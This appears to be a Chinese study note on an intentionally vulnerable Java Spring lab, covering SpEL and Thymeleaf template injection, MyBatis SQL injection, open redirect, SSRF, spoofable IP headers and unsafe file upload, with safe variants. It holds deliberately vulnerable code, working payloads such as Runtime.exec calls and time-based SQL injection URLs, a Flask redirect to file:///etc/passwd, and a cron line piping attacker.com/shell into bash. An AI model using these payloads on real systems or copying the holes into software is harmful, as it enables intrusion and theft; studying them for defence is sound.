00x1 spel注入

SpEL简介

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

参考:https://xz.aliyun.com/news/8744

具体效果

/*T(java.lang.Runtime) T(...) 是 SpEL 的特殊语法,用来访问 Java 的类。它返回 java.lang.Runtime 这个类的 Class 对象。
.getRuntime() 调用 Runtime 类的静态方法 getRuntime(),返回当前 Java 进程的 Runtime 实例。每个 Java 程序都有一个 Runtime 实例,可以用来与运行环境交互。
.exec('calc') 在 Runtime 实例上调用 exec 方法,执行操作系统的命令。'calc' 是 Windows 系统下打开计算器的命令。*/
//一个类的class对象,包含一个类的所有信息
exec=T(java.lang.Runtime).getRuntime().exec('calc')
package com.ffffffff0x.exploit;

import io.swagger.annotations.Api;
import lombok.extern.slf4j.Slf4j;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParseException;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import java.net.MalformedURLException;
import java.net.URL;

@Api(tags = "SpEL注入")
@Slf4j
@RestController
public class SpEL {

    // spel 注入
   
    @GetMapping("/spel")
    public String vul1(String exec) {
//创建解析器
//触发点
//SpelExpressionParser extends TemplateAwareExpressionParser
//TemplateAwareExpressionParser implements ExpressionParser
//public interface ExpressionParser {
    //Expression parseExpression(String var1) throws ParseException;

    //Expression parseExpression(String var1, ParserContext var2) throws ParseException;
//}是接口

//可以处理SpEL表达式,并执行它
//使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象
        ExpressionParser parser = new SpelExpressionParser();
//Spring默认类,允许表达式访问所有类
//权限过大
        EvaluationContext evaluationContext = new StandardEvaluationContext();

        
//
        String result = "";
        try {
//把用户输入解析成Expression对象,把文本转化成指令结构
//.getValue(evaluationContext).toString();
//evaluationContext运行环境,Expression的实现接口getValue执行表达式
//运行表达式
            result = parser.parseExpression(exec).getValue(evaluationContext).toString();
//输出
            log.info(exec);
            return result;

        } catch (SpelParseException e) {
//报错
            log.error(exec);
            return "error";
        }
    }

}

00x2 mysql注入

package com.ffffffff0x.exploit;

import com.ffffffff0x.exploit.p.entity.UserPrimary;
import com.ffffffff0x.exploit.p.mapper.UserMapperPrimary;
import com.ffffffff0x.exploit.s.mapper.UserMapperSecondary;
import io.swagger.annotations.Api;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;

import java.util.List;

@Api(tags = "SQL注入")
@RestController
@Slf4j
@RequestMapping("/sqlinj")
public class SQLinj {
//静态
    @Autowired
    private UserMapperPrimary userMapperPrimary;

    // 查询所有用户
    @GetMapping("/mysql/alluser")
    public List<UserPrimary> AllUser() {
//返回结果
        return userMapperPrimary.AllUser();
    }

    // 查询指定用户
    // http://127.0.0.1:8999/sqlinj/mysql/getbyid/1 or 1=1
    // http://127.0.0.1:8999/sqlinj/mysql/getbyid/1 and (select if(mid(user(),1,4)='root',sleep(1),123))
//{id}动态路径

    @GetMapping("/mysql/getbyid/{id}")
//id绑定
    public List<UserPrimary> getById(@PathVariable String id) {
        log.info("输入的查询payload: "+id);
//传入
        return userMapperPrimary.findById(id);
    }

    // http://127.0.0.1:8999/sqlinj/mysql/getbyidp/id?id=1 or 1=1
    // http://127.0.0.1:8999/sqlinj/mysql/getbyidp/id?id=1%20and%20(select%20/**/if(%27360%27=%27360%27,/**/sleep(5),123))
    @GetMapping("/mysql/getbyidp/id")
//查找指定用户
    public List<UserPrimary> getById2(String id) {
        log.info("输入的查询payload: "+id);
        return userMapperPrimary.findById(id);
    }

    // 创建用户
    @PostMapping("/mysql/create")
    public int create(@RequestBody UserPrimary userPrimary) {
//获取
        return userMapperPrimary.insert(userPrimary.getName(), userPrimary.getAge());
    }

  
    

}
package com.ffffffff0x.exploit.p.mapper;

import com.ffffffff0x.exploit.p.entity.UserPrimary;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.annotations.Select;

import java.util.List;

@Mapper
public interface UserMapperPrimary {

    // 查询所有用户
    @Select("select * from user_info")
    List<UserPrimary> AllUser();

    // 不安全的指定用户查询
    // 直接代入文本替换
    //#{id}安全写法
    @Select("select * from user_info where id = ${id}")
     //根据id寻找
//@Param("id"):MyBatis 注解,用于给参数指定一个名字(这里是 "id"),这样在对应的 SQL 语句中就可以通过 #{id} 或 ${id} 来引用该参数。如果方法有多个参数,或者希望明确参数名称,通常使用该注解。
//List一条信息
    List<UserPrimary> findById(@Param("id") String id);

    // 添加用户
    @Insert("INSERT INTO user_info(NAME, AGE) VALUES(#{name}, #{age})")
//insert插入
//一个名字一个年龄
    int insert(@Param("name") String name, @Param("age") Integer age);

}
package com.ffffffff0x.exploit.p.entity;

import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@NoArgsConstructor
public class UserPrimary {

    private Long id;

    private String name;
    private Integer age;

    public UserPrimary(String name, Integer age) {
        this.name = name;
        this.age = age;
    }
}

00x3 postgresql注入

@GetMapping("/postgre/alluser")
    public List<UserPrimary> PostgreAllUser() {
        return userMapperSecondary.AllUser();
    }

    // 查询指定用户
    @GetMapping("/postgre/getbyid/{id}")
    public List<UserPrimary> PostgregetById(@PathVariable String id) {
        log.info("输入的查询payload: "+id);
        return userMapperSecondary.findById(id);
    }

    // 创建用户
    @PostMapping("/postgre/create")
    public int Postgrecreate(@RequestBody UserPrimary userPrimary) {
        return userMapperSecondary.insert(userPrimary.getName(), userPrimary.getAge());
    }

}

00x4 url跳转无过滤

代码分析

public class Redirect {
//get
//接受1?后的url=赋值给url
@GetMapping("/1")
//传入  
    public String vul(String url) {
//控制台调试
        log.info(url);
//跳转是由 Spring MVC 框架自动完成的。当控制器方法返回一个以 "redirect:" 开头的字符串时,Spring 会将该字符串解析为一个重定向视图,并生成一个 HTTP 302 响应,其中 Location 头部的值就是 redirect: 后面的部分(即用户传入的 url 参数)。浏览器接收到这个响应后,就会自动跳转到指定的 URL。
        return"redirect:" + url;
    }

00x5 url可以被绕过的白名单案例

 @GetMapping("/2")
    public String vul2(String url) {
//定义白名单
        String domain = "ffffffff0x.com";
//截取domain,在整个url匹配是否存在字符串
//它返回 domain 在 url 中第一次出现的位置索引(从 0 开始),如果没找到则返回 -1。
        int result = url.indexOf(domain);
        if(result != -1){
            log.info(url);
            return"redirect:" + url;
        }else{
            log.error(url);
            return"redirect:/error";
        }
    }

00x6 url反斜杠绕过

@GetMapping("/3")
    public String vul3(String url) {

        String host = "";
        try {
//.getHost()提取真正的主机名
//字符串包含检查
//不涉及网络
//有符号检查,但是不全面,检查 /,?,#
//new URL(url)检查是不是合法url
            host = new URL(url).getHost();
        } catch (MalformedURLException e) {
//异常
            e.printStackTrace();
        }
//判断真正主机名结尾
        if (host.endsWith(".ffffffff0x.com")){
            log.info(host);
//跳转
            return"redirect:https://" + host;
        }else{
            log.error(host);
            return"redirect:/error";
        }
    }
  // http://127.0.0.1:8999/redirect/3?url=http://www.baidu.com%5Cwww.ffffffff0x.com

在某些 Java 版本或特定环境中,URL 构造函数可能不会抛出 MalformedURLException,而是将反斜杠视为主机名的一部分,从而得到主机名字符串 www.baidu.com\www.ffffffff0x.com。这个字符串恰好以 .ffffffff0x.com 结尾(因为末尾部分是 www.ffffffff0x.com),因此通过检查,程序会执行 redirect:https:// + 该主机名,实现重定向。

安全

@GetMapping("/safe")
    public String safe(String url) {

        String host = "";
        try {
//替换\#替换成/
//提取真正的主机名
            url = url.replaceAll("[\\\\#]","/");
//二次过滤
            host = new URL(url).getHost();
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
        if (host.endsWith(".ffffffff0x.com")){
            log.info(host);
            return"redirect:https://" + host;
        }else{
            log.error(host);
            return"redirect:/error";
        }
    }

00x7 SSRF 无过滤

代码分析

@GetMapping("/1")
    public String vul1(String url) {
        log.info("访问路径:" + url);
//直接服务器发送请求
//接受并请求
        return Http.URLConnection(url);
    }

00x8 SSRF重定向绕过

代码分析

@GetMapping("/2")
    public String vul2(String url) {
        log.info("访问路径:" + url);

        try{
//解析url,并创建URL对象
            URL url2 = new URL(url);
//.getHost()提取真正的主机名
            String host = url2.getHost();
//得到ip地址
//返回 主机名/ip地址
            InetAddress ip = InetAddress.getByName(host);
//ip2存储
//主机名
            String ip2 =ip.toString();
//匹配最后一个/提取ip
            String ip3 = ip2.substring(ip2.lastIndexOf("/") + 1 );
            log.info("ip解析结果:" + ip3);
//检查是不是http://,https://开头
            if (!Security.isHttp(url)){
                return "不允许非http/https协议!!!";
//ture,不允许访问内网
            }else if (Security.isIntranet(url)) {
                return "不允许访问内网!!!";
//ture,不允许访问内网
            }else if (Security.isIntranet(ip3)) {
                return "不允许访问内网!!!";
            }else{
                log.info("访问:" + url);
//状态码判断
                return Http.URLConnection2(url);
            }

            }
        catch (java.net.UnknownHostException e) {
            return "error";
        } catch (MalformedURLException e) {
            return "error";
        }
    }
//静态方法 
//判断
public static boolean isHttp(String url) {
//检查开头
//是不是http://,https://开头
        return url.startsWith("http://") || url.startsWith("https://");
    }
public static boolean isIntranet(String url) {
//-  ^ :匹配字符串开头
//-  $ :匹配字符串结尾
//-  | :或,多选一
//-  \\. :转义后的  . ,只匹配真实的点
//-  \d :数字 0-9
//-  {1,3} :重复 1~3 次

//127.0.0.1或localhost或10.开头的IP或172.16-19.20-29或127.30-31.?.?或192.168.?.?

        Pattern reg = Pattern.compile("^(127\\.0\\.0\\.1)|(localhost)|(10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})|(172\\.((1[6-9])|(2\\d)|(3[01]))\\.\\d{1,3}\\.\\d{1,3})|(192\\.168\\.\\d{1,3}\\.\\d{1,3})$");
//匹配,返回 Matcher
//只要符合返回ture
        Matcher match = reg.matcher(url);
//返回布尔
        Boolean a = match.find();
        return a;
    }
public static String URLConnection2(String url) {
        try {
            //解析url,并创建URL对象
//可以接受多种协议
            URL u = new URL(url);
            //申请连接对象
//返回原始url连接对象
            URLConnection conn = u.openConnection();
            

            HttpURLConnection connection = (HttpURLConnection) conn;

            // 判断跳转
            //开关
            boolean redirect = false;
            //获取状态码
            int status = connection.getResponseCode();
            //HTTP_OK=200
//不等于200,开启下面判断
            if (status != HttpURLConnection.HTTP_OK) {
//302,301,303
                if (status == HttpURLConnection.HTTP_MOVED_TEMP
                        || status == HttpURLConnection.HTTP_MOVED_PERM
                        || status == HttpURLConnection.HTTP_SEE_OTHER)
//开关,跳转
//直接改返回?
                    redirect = true;
            }
//直接打印 file:///etc/passwd
            log.info("Response Code:" + status);
//跳转
            if (redirect) {
//响应头获取
                String newUrl = connection.getHeaderField("Location");
                log.info("Redirect to URL : " + newUrl);
//file:///etc/passwd
                URL u1 = new URL(newUrl);
//新地址
                conn = u1.openConnection();
            }
//conn.getInputStream()获取输入流
//将字节流转成字符流
//缓冲字符流
//getInputStream()重定向,获取最终响应流
            BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));

            String content;

            StringBuffer html = new StringBuffer();
//循环读取html
            while ((content = reader.readLine()) != null) {
//拼接字符串返回
                html.append(content);
            }
//关闭
            reader.close();
            return html.toString();

        } catch (Exception e) {
            return e.getMessage();
        }
    }

}
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def redirect_to_file():
    # 返回302重定向,Location指向目标内网文件或内网地址
    return redirect('file:///etc/passwd', code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)  # 需要 root 权限或用高端口

安全

// 安全案例
    @GetMapping("/safe")
    public String safe(String url) {
        log.info("访问路径:" + url);
        if (!Security.isHttp(url)){
            return "不允许非http/https协议!!!";
        }else if (Security.isIntranet(url)) {
            return "不允许访问内网!!!";
        }else{
            return Http.HTTPURLConnection(url);
        }
    }

}

    // HTTPURLConnection类
    // 是继承了URLConnection
    public static String HTTPURLConnection(String url) {
        try {
            URL u = new URL(url);
//不允许重定向跟随
            HttpURLConnection conn = (HttpURLConnection) u.openConnection();
            conn.setInstanceFollowRedirects(false); // 不允许重定向
//打开链接
            conn.connect();
//发起请求获取响应数据流
            BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));

            String content;
            StringBuilder html = new StringBuilder();
//读取一行文本
//读取响应
//html
            while ((content = reader.readLine()) != null) {
                html.append(content);
            }
            reader.close();
            return html.toString();

        } catch (Exception e) {
            return e.getMessage();
        }
    }

00x9 SSTI return可控(预处理)

@Controller
@RequestMapping("/ssti")处理视图
该方法通常会返回一个视图名称(如 "index"),同时通过方法参数(如 Model、ModelMap 或 ModelAndView)将数据传递给视图。

<!doctype html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<body>
//预处理,字符替换
//先解析,再拼接
<h1 th:href="@{__${name}__}">name1参数</h1>
//普通文本输出
<h1 th:text="${name2}">name2参数</h1>
</body>
@GetMapping("/1")
//将参数存入model
//获取name与name2后的参
    public String vul(@RequestParam(name="name") String name,@RequestParam(name="name2") String name2, Model model) {
//将参数存入ModeL
        model.addAttribute("name", name);
        model.addAttribute("name2", name2);
//返回文件
        return "ssti";
    }

不知道为什么编码也不行

00x10 SSTI 视图名称可控

 @GetMapping("/2")
    public String path(@RequestParam String name) {
//可控 name
//视图解析器会解析成模板路径
/thymeleaf处理时会执行
        return "user/" + name + "/welcome";
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Hello zhang3</h3>
</div>
<div th:fragment="main">
//massage
    <span th:text="'Hello1, ' + ${message}"></span>
</div>
</html>
poc
//::.x强制解析
//__${}__预处理,:: 是 Thymeleaf 的片段表达式语法,用于引用模板中的片段(如 template::fragment)。::x 可能表示引用当前模板中名为 x 的片段(或默认片段),这可以促使 Thymeleaf 将整个字符串作为模板表达式解析,从而触发预处理
//
__${T(java.lang.Runtime).getRuntime().exec('calc')}__::x

00x11 来源IP X-Real-IP/X-Forwarded-For

代码分析

 @GetMapping("/xxf")
    public static String xxf(HttpServletRequest request) {
//获取响应头X-Real-IP,X-Forwarded-For拼接
        String ip1 = request.getHeader("X-Real-IP");
        String ip2 = request.getHeader("X-Forwarded-For");
        return "X-Real-IP: " + ip1 + " X-Forwarded-For: " + ip2;
    }

00x12 来源IP getRemoteAddr

@GetMapping("/remote")
    public static String remote(HttpServletRequest request) {
        // 当使用 nginx 做反向代理时,通过 HttpServletRequest 的 getRemoteAddr() 得到的是最后一个代理所在机器的IP
//返回客户端或最后一个代理IP
        return request.getRemoteAddr();
    }

00x13 

// 获取真实ip
//其实不全是
    @GetMapping("/realIp")
    public static String ip(HttpServletRequest request) {
//代理
        String ip1 = request.getRemoteAddr();
//响应头
        String ip2 = request.getHeader("X-Real-IP");
        String ip3 = request.getHeader("X-Forwarded-For");

        if (ip1 != null) {
            return ip1;
        } else if (ip2 != null) {
            return ip2;
        } else {
            return ip3;
        }

    }

00x13 信息泄露

@Api(tags = "信息泄露")
@Controller
@Slf4j
public class InfoLeak {
    /*
     信息泄露
     */
    @GetMapping("/infoleak/aksk")
    public String akskPage() {
        return "aksk";
    }

}
<!DOCTYPE html>
<html>
    一些 测试的假 aksk 数据
<p>
    SecretId : AKIDf9NL2Rxx1LNxxqmSr0sxxoZ3XXXGNDxx
    <br>
    SecretKey : GI3XkgMlsiIabLxxvZw3sxxhQx6XXXxx
    <br>
    AccessKey ID : LTAI5XLxTxxxxdcTXXExxxxx
    <br>
    AccessKey Secret : RhXXXXjrCh3xxxLmFCRxx0HBZSxxxx
    <br>
    AWS Access Key ID: AKIAUXXXXXFYXNIXXXXX
    <br>
    AWS Secret Access Key: x/Wigo+RW4xExxx1LgXXXX6pHxOkssEuxpW1xxxx
</p>
</html>

00x14 无过滤上传点

@Api(tags = "文件上传")
@Controller
@Slf4j
public class Upload {
//从配置文件读取属性值
//文件路径
//file.upload.path=/tmp/
    @Value("${file.upload.path}")
//把上面的赋值
    private String path;

    @GetMapping("/upload")
    public String uploadPage() {
        return "upload";
    }

    // 无过滤
    @PostMapping("/upload")
    @ResponseBody
    public String vul1(@RequestPart MultipartFile file) throws IOException {
//获取文件名
        String fileName = file.getOriginalFilename();
//存放路径
        String filePath = path + fileName;

        try {//目标文件
//封装信息
            File dest = new File(filePath);
//Files.copy复制文件,获取输入流,dest.toPath(),path转换
            Files.copy(file.getInputStream(), dest.toPath());
//绝对路径
            return "文件上传成功 : " + dest.getAbsolutePath();

        } catch (FileAlreadyExistsException e) {
            return "文件已存在!";
        }
    }

    
        return "";
    }

}

00x15 黑名单过滤上传点

@PostMapping("/upload2")
    @ResponseBody
    public String vul2(@RequestPart MultipartFile file) throws IOException {
//黑名单
        List<String> suffixlist = List.of(".jsp", ".jspx");
//getOriginalFilename(),穿越漏洞
//获取客户端上传的原始文件名
        String fileName = file.getOriginalFilename();
        String filePath = path + fileName;
//检查是否上传文件
        if (!file.isEmpty()) {
//截取后缀
//只取最后一个.
            String suffix = fileName.substring(fileName.lastIndexOf("."));
//后缀转换成小写
            String suffixLower = suffix.toLowerCase();

            log.info("后缀名: "+suffixLower);
//判断相等
            if (suffixlist.contains(suffixLower)) {
                return "非法请求,请上传文档文件";
            } else {
                try {
//创建文件
//直接使用拼接路径
                    File dest = new File(filePath);
                    Files.copy(file.getInputStream(), dest.toPath());
                    return "文件上传成功 : " + dest.getAbsolutePath();

                } catch (FileAlreadyExistsException e) {
                    return "文件已存在!";
                }
            }
        }

        return "";
    }

0016 白名单过滤上传点

在 Linux 系统中,/etc/cron.d/ 目录用于存放 cron 任务配置文件。cron 守护进程会定期扫描该目录下的所有文件(无论文件名是什么),只要文件内容符合 cron 任务格式,就会按计划执行其中的命令。
cron 不检查文件后缀,它只读取文件内容。因此,即使文件名为 test.xls,只要内容包含有效的 cron 任务(例如 * * * * * root curl http://attacker.com/shell | bash),该任务就会被执行。

// 白名单过滤
    // 可以路径穿越,因为 /etc/cron.d/ 目录下的文件可以任意后缀命名,那么此时可以上传文件名为 “…/…/…/…/…/…/etc/cron.d/test.xls” 绕过对应的安全检查:
//
    @PostMapping("/upload3")
    @ResponseBody
    public String vul3(@RequestPart MultipartFile file) throws IOException {
        String fileName = file.getOriginalFilename();
        String filePath = path + fileName;
//检查上传是不是空
        if (!file.isEmpty()) {
//截取后缀.最后一个
//fileName.lastIndexOf(".")规则
//截取
            String suffix = fileName.substring(fileName.lastIndexOf("."));
            log.info("后缀名: "+suffix);
//白名单
            if (!".xlsx".equals(suffix) && !".xls".equals(suffix)) {
                return "非法请求,请上传excel文件";
            } else {
                try {
                    File dest = new File(filePath);
                    Files.copy(file.getInputStream(), dest.toPath());
                    return "文件上传成功 : " + dest.getAbsolutePath();

                } catch (FileAlreadyExistsException e) {
                    return "文件已存在!";
                }
            }
        }

        return "";
    }

0017 安全上传点

 @PostMapping("upload/safe")
    @ResponseBody
    public String safe(@RequestPart MultipartFile file) throws IOException {
        String fileName = file.getOriginalFilename();

        if(!file.isEmpty()){
//截取
            String suffix = fileName.substring(fileName.lastIndexOf("."));
            log.info("后缀名: "+suffix);
//直接判断
            if(!".xlsx".equals(suffix)&&!".xls".equals(suffix)){
                return "非法请求,请上传excel文件";
            }
            else {
                try {
//随机文件名
                    Random r = new Random();
                    int randomfilename = r.nextInt(100000000);
//路径拼接,无文件穿越
                    String filePath = path + randomfilename + suffix;
                    log.info("生成文件名: "+filePath);
                    File dest = new File(filePath);
                    Files.copy(file.getInputStream(), dest.toPath());
                    return "文件上传成功 : " + dest.getAbsolutePath();

                } catch (FileAlreadyExistsException e) {
                    return "文件已存在!";
                }
            }
        }

        return "";
    }

}

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐